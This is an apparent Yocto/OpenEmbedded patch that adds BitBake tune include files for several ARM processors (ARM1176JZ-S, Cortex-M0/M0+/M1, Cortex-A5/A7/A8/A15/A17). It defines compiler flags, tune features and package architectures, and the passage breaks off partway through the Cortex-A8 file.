index 0000000000..21d77f081e
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "arm1176jzs"
+
+require conf/machine/include/arm/arch-armv6.inc
+
+TUNEVALID[arm1176jzs] = "Enable arm1176jzs specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', ' -mcpu=arm1176jz-s', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', 'armv6:', '', d)}"
+
+AVAILTUNES += "arm1176jzs"
+ARMPKGARCH:tune-arm1176jzs = "arm1176jzs"
+TUNE_FEATURES:tune-arm1176jzs = "arm thumb arm1176jzs"
+PACKAGE_EXTRA_ARCHS:tune-arm1176jzs = "${PACKAGE_EXTRA_ARCHS:tune-armv6t-novfp} arm1176jzs arm1176jzst"
+
+AVAILTUNES += "arm1176jzs-be"
+ARMPKGARCH:tune-arm1176jzs-be = "${ARMPKGARCH:tune-arm1176jzs}"
+TUNE_FEATURES:tune-arm1176jzs-be = "${TUNE_FEATURES:tune-arm1176jzs} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-arm1176jzs-be = "${PACKAGE_EXTRA_ARCHS:tune-armv6tb-novfp} arm1176jzsb arm1176jzstb"
diff --git a/meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc b/meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc
new file mode 100644
index 0000000000..aadc5326ce
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "cortexm0"
+require conf/machine/include/arm/arch-armv6m.inc
+
+TUNEVALID[cortexm0] = "Enable Cortex-M0 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm0', ' -mcpu=cortex-m0', '', d)}"
+AVAILTUNES += "cortexm0"
+
+ARMPKGARCH:tune-cortexm0 = "cortexm0"
+TUNE_FEATURES:tune-cortexm0 = "${TUNE_FEATURES:tune-armv6m} cortexm0"
+
+PACKAGE_EXTRA_ARCHS:tune-cortexm0 = "${PACKAGE_EXTRA_ARCHS:tune-armv6m} cortexm0"
diff --git a/meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc b/meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc
new file mode 100644
index 0000000000..a3cf3f0bd2
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "cortexm0-plus"
+require conf/machine/include/arm/arch-armv6m.inc
+
+TUNEVALID[cortexm0-plus] = "Enable Cortex-M0 Plus specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm0-plus', ' -mcpu=cortex-m0plus', '', d)}"
+AVAILTUNES += "cortexm0-plus"
+
+ARMPKGARCH:tune-cortexm0-plus = "cortexm0-plus"
+TUNE_FEATURES:tune-cortexm0-plus = "${TUNE_FEATURES:tune-armv6m} cortexm0-plus"
+
+PACKAGE_EXTRA_ARCHS:tune-cortexm0-plus = "${PACKAGE_EXTRA_ARCHS:tune-armv6m} cortexm0-plus"
diff --git a/meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc b/meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc
new file mode 100644
index 0000000000..16661f3a26
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M1
+#
+DEFAULTTUNE ?= "cortexm1"
+
+TUNEVALID[cortexm1] = "Enable Cortex-M1 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm1', ' -mcpu=cortex-m1', '', d)}"
+
+require conf/machine/include/arm/arch-armv6m.inc
+
+AVAILTUNES += "cortexm1"
+ARMPKGARCH:tune-cortexm1 = "cortexm1"
+TUNE_FEATURES:tune-cortexm1 = "${TUNE_FEATURES:tune-armv6m} cortexm1"
+PACKAGE_EXTRA_ARCHS:tune-cortexm1 = "${PACKAGE_EXTRA_ARCHS:tune-armv6m} cortexm1"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc
new file mode 100644
index 0000000000..e827afb2a0
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa15thf-neon"
+
+require conf/machine/include/arm/arch-armv7ve.inc
+
+TUNEVALID[cortexa15] = "Enable Cortex-A15 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', ' -mcpu=cortex-a15', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', 'armv7ve:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa15 cortexa15t cortexa15-neon cortexa15t-neon cortexa15-neon-vfpv4 cortexa15t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa15 = "cortexa15"
+ARMPKGARCH:tune-cortexa15t = "cortexa15"
+ARMPKGARCH:tune-cortexa15-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15t-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15-neon-vfpv4 = "cortexa15"
+ARMPKGARCH:tune-cortexa15t-neon-vfpv4 = "cortexa15"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa15 = "arm vfp cortexa15"
+TUNE_FEATURES:tune-cortexa15t = "${TUNE_FEATURES:tune-cortexa15} thumb"
+TUNE_FEATURES:tune-cortexa15-neon = "${TUNE_FEATURES:tune-cortexa15} neon"
+TUNE_FEATURES:tune-cortexa15t-neon = "${TUNE_FEATURES:tune-cortexa15-neon} thumb"
+TUNE_FEATURES:tune-cortexa15-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa15t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} cortexa15-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15t = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} cortexa15-vfp cortexa15t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} cortexa15-vfp cortexa15-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} cortexa15-vfp cortexa15-neon cortexa15t2-vfp cortexa15t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4 cortexa15t2-vfp cortexa15t2-neon cortexa15t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa15hf cortexa15thf cortexa15hf-neon cortexa15thf-neon cortexa15hf-neon-vfpv4 cortexa15thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa15hf = "cortexa15"
+ARMPKGARCH:tune-cortexa15thf = "cortexa15"
+ARMPKGARCH:tune-cortexa15hf-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15thf-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15hf-neon-vfpv4 = "cortexa15"
+ARMPKGARCH:tune-cortexa15thf-neon-vfpv4 = "cortexa15"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa15hf = "${TUNE_FEATURES:tune-cortexa15} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15thf = "${TUNE_FEATURES:tune-cortexa15t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15hf-neon = "${TUNE_FEATURES:tune-cortexa15-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15thf-neon = "${TUNE_FEATURES:tune-cortexa15t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} cortexa15hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} cortexa15hf-vfp cortexa15t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} cortexa15hf-vfp cortexa15hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} cortexa15hf-vfp cortexa15hf-neon cortexa15t2hf-vfp cortexa15t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4 cortexa15t2hf-vfp cortexa15t2hf-neon cortexa15t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc
new file mode 100644
index 0000000000..3ad00b16d8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa17thf-neon"
+
+require conf/machine/include/arm/arch-armv7ve.inc
+
+TUNEVALID[cortexa17] = "Enable Cortex-A17 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', ' -mcpu=cortex-a17', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', 'armv7ve:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa17 cortexa17t cortexa17-neon cortexa17t-neon cortexa17-neon-vfpv4 cortexa17t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa17 = "cortexa17"
+ARMPKGARCH:tune-cortexa17t = "cortexa17"
+ARMPKGARCH:tune-cortexa17-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17t-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17-neon-vfpv4 = "cortexa17"
+ARMPKGARCH:tune-cortexa17t-neon-vfpv4 = "cortexa17"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa17 = "arm vfp cortexa17"
+TUNE_FEATURES:tune-cortexa17t = "${TUNE_FEATURES:tune-cortexa17} thumb"
+TUNE_FEATURES:tune-cortexa17-neon = "${TUNE_FEATURES:tune-cortexa17} neon"
+TUNE_FEATURES:tune-cortexa17t-neon = "${TUNE_FEATURES:tune-cortexa17-neon} thumb"
+TUNE_FEATURES:tune-cortexa17-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa17t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} cortexa17-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17t = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} cortexa17-vfp cortexa17t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} cortexa17-vfp cortexa17-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} cortexa17-vfp cortexa17-neon cortexa17t2-vfp cortexa17t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4 cortexa17t2-vfp cortexa17t2-neon cortexa17t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa17hf cortexa17thf cortexa17hf-neon cortexa17thf-neon cortexa17hf-neon-vfpv4 cortexa17thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa17hf = "cortexa17"
+ARMPKGARCH:tune-cortexa17thf = "cortexa17"
+ARMPKGARCH:tune-cortexa17hf-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17thf-neon = "cortexa17"
+ARMPKGARCH:tune-cortexa17hf-neon-vfpv4 = "cortexa17"
+ARMPKGARCH:tune-cortexa17thf-neon-vfpv4 = "cortexa17"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa17hf = "${TUNE_FEATURES:tune-cortexa17} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17thf = "${TUNE_FEATURES:tune-cortexa17t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17hf-neon = "${TUNE_FEATURES:tune-cortexa17-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17thf-neon = "${TUNE_FEATURES:tune-cortexa17t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa17thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa17t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} cortexa17hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} cortexa17hf-vfp cortexa17t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} cortexa17hf-vfp cortexa17hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} cortexa17hf-vfp cortexa17hf-neon cortexa17t2hf-vfp cortexa17t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa17thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4 cortexa17t2hf-vfp cortexa17t2hf-neon cortexa17t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc
new file mode 100644
index 0000000000..0de5aadaaa
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa5thf-neon"
+
+require conf/machine/include/arm/arch-armv7a.inc
+
+TUNEVALID[cortexa5] = "Enable Cortex-A5 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', ' -mcpu=cortex-a5', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', 'armv7a:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa5 cortexa5t cortexa5-neon cortexa5t-neon cortexa5-neon-vfpv4 cortexa5t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa5 = "cortexa5"
+ARMPKGARCH:tune-cortexa5t = "cortexa5"
+ARMPKGARCH:tune-cortexa5-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5t-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5-neon-vfpv4 = "cortexa5"
+ARMPKGARCH:tune-cortexa5t-neon-vfpv4 = "cortexa5"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa5 = "arm vfp cortexa5"
+TUNE_FEATURES:tune-cortexa5t = "${TUNE_FEATURES:tune-cortexa5} thumb"
+TUNE_FEATURES:tune-cortexa5-neon = "${TUNE_FEATURES:tune-cortexa5} neon"
+TUNE_FEATURES:tune-cortexa5t-neon = "${TUNE_FEATURES:tune-cortexa5-neon} thumb"
+TUNE_FEATURES:tune-cortexa5-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa5t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} cortexa5-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5t = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} cortexa5-vfp cortexa5t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} cortexa5-vfp cortexa5-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} cortexa5-vfp cortexa5-neon cortexa5t2-vfp cortexa5t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4 cortexa5t2-vfp cortexa5t2-neon cortexa5t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa5hf cortexa5thf cortexa5hf-neon cortexa5thf-neon cortexa5hf-neon-vfpv4 cortexa5thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa5hf = "cortexa5"
+ARMPKGARCH:tune-cortexa5thf = "cortexa5"
+ARMPKGARCH:tune-cortexa5hf-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5thf-neon = "cortexa5"
+ARMPKGARCH:tune-cortexa5hf-neon-vfpv4 = "cortexa5"
+ARMPKGARCH:tune-cortexa5thf-neon-vfpv4 = "cortexa5"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa5hf = "${TUNE_FEATURES:tune-cortexa5} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5thf = "${TUNE_FEATURES:tune-cortexa5t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5hf-neon = "${TUNE_FEATURES:tune-cortexa5-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5thf-neon = "${TUNE_FEATURES:tune-cortexa5t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa5thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa5t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} cortexa5hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} cortexa5hf-vfp cortexa5t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} cortexa5hf-vfp cortexa5hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} cortexa5hf-vfp cortexa5hf-neon cortexa5t2hf-vfp cortexa5t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa5thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4 cortexa5t2hf-vfp cortexa5t2hf-neon cortexa5t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc
new file mode 100644
index 0000000000..1ada527d8b
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa7thf-neon"
+
+require conf/machine/include/arm/arch-armv7ve.inc
+
+TUNEVALID[cortexa7] = "Enable Cortex-A7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', ' -mcpu=cortex-a7', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', 'armv7ve:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa7 cortexa7t cortexa7-neon cortexa7t-neon cortexa7-neon-vfpv4 cortexa7t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa7 = "cortexa7"
+ARMPKGARCH:tune-cortexa7t = "cortexa7"
+ARMPKGARCH:tune-cortexa7-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7t-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7-neon-vfpv4 = "cortexa7"
+ARMPKGARCH:tune-cortexa7t-neon-vfpv4 = "cortexa7"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa7 = "arm vfp cortexa7"
+TUNE_FEATURES:tune-cortexa7t = "${TUNE_FEATURES:tune-cortexa7} thumb"
+TUNE_FEATURES:tune-cortexa7-neon = "${TUNE_FEATURES:tune-cortexa7} neon"
+TUNE_FEATURES:tune-cortexa7t-neon = "${TUNE_FEATURES:tune-cortexa7-neon} thumb"
+TUNE_FEATURES:tune-cortexa7-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa7t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} cortexa7-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7t = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} cortexa7-vfp cortexa7t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} cortexa7-vfp cortexa7-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} cortexa7-vfp cortexa7-neon cortexa7t2-vfp cortexa7t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4 cortexa7t2-vfp cortexa7t2-neon cortexa7t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa7hf cortexa7thf cortexa7hf-neon cortexa7thf-neon cortexa7hf-neon-vfpv4 cortexa7thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa7hf = "cortexa7"
+ARMPKGARCH:tune-cortexa7thf = "cortexa7"
+ARMPKGARCH:tune-cortexa7hf-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7thf-neon = "cortexa7"
+ARMPKGARCH:tune-cortexa7hf-neon-vfpv4 = "cortexa7"
+ARMPKGARCH:tune-cortexa7thf-neon-vfpv4 = "cortexa7"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa7hf = "${TUNE_FEATURES:tune-cortexa7} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7thf = "${TUNE_FEATURES:tune-cortexa7t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7hf-neon = "${TUNE_FEATURES:tune-cortexa7-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7thf-neon = "${TUNE_FEATURES:tune-cortexa7t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa7thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa7t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} cortexa7hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} cortexa7hf-vfp cortexa7t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} cortexa7hf-vfp cortexa7hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} cortexa7hf-vfp cortexa7hf-neon cortexa7t2hf-vfp cortexa7t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa7thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4 cortexa7t2hf-vfp cortexa7t2hf-neon cortexa7t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc
new file mode 100644
index 0000000000..952302afa2
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc
@@ -0,0 +1,39 @@
+DEFAULTTUNE ?= "cortexa8thf-neon"
+
+require conf/machine/include/arm/arch-armv7a.inc
+
+TUNEVALID[cortexa8] = "Enable Cortex-A8 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', ' -mcpu=cortex-a8', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', 'armv7a:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa8 cortexa8t cortexa8-neon cortexa8t-neon"
+ARMPKGARCH:tune-cortexa8 = "cortexa8"
+ARMPKGARCH:tune-cortexa8t = "cortexa8"
+ARMPKGARCH:tune-cortexa8-neon = "cortexa8"
+ARMPKGARCH:tune-cortexa8t-neon = "cortexa8"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa8 = "arm vfp cortexa8"
+TUNE_FEATURES:tune-cortexa8t = "${TUNE_FEATURES:tune-cortexa8} thumb"
+TUNE_FEATURES:tune-cortexa8-neon = "${TUNE_FEATURES:tune-cortexa8} neon"
+TUNE_FEATURES:tune-cortexa8t-neon = "${TUNE_FEATURES:tune-cortexa8-neon} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} cortexa8-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8t = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} cortexa8-vfp cortexa8t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} cortexa8-vfp cortexa8-neon"
